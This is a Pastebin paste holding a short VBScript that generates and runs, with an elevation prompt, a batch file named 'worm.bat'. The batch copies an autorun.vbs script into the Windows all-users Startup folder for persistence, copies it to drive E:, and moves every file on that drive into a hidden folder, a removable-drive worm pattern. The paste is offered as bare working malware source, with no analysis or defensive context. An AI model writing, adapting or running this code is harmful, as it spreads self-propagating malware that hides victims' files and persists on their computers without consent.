Advertisement
Guest User

Untitled

a guest
Feb 24th, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. outFile="worm.bat"
  2. Set objFSO=CreateObject("Scripting.FileSystemObject")
  3. Set objFile = objFSO.CreateTextFile(outFile,True)
  4. objFile.Write "@echo off" & vbCrLf
  5. objFile.Write "SET mypath=%~dp0" & vbCrLf
  6. objFile.Write "copy %mypath%\autorun.vbs ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\autorun.vbs""" & vbCrLf
  7.  
  8. objFile.Write "copy %mypath%\autorun.vbs e:\autorun.vbs" & vbCrLf
  9. objFile.Write "mkdir e:\hidden" & vbCrLf
  10. objFile.Write "move e:\*.* e:\hidden" & vbCrLf
  11. objFile.Write "move e:\hidden\autorun.vbs e:\" & vbCrLf
  12.  
  13. objFile.Close
  14.  
  15. CreateObject("Shell.Application").ShellExecute "worm.bat", "", "", "runas", 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement